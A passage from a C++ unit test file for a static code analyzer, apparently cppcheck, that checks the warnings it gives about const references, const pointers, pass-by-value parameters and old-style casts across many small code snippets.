int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c 